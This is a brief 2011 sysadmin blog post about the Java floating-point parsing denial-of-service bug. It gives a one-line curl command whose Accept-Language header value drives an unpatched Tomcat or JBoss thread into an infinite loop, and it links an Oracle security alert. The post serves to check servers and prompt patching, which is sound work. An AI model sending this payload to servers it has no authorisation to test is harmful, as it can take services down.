Konstantin Antselovich

curl -v -H "Accept-Language: en-us;q=2.2250738585072012e-308" http://<your tomcat server>/someurl if your tomcat/Jboss/whatver runs on unlatched JVM -- the thread will go into infinite loop

also see http://blogs.oracle.com/security/2011/02/security_alert_for_cve-2010-44.html

This entry was posted on Wednesday, February 9th, 2011 at 2:21 am and is filed under cve, infosec, java, Security, sysadmin. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.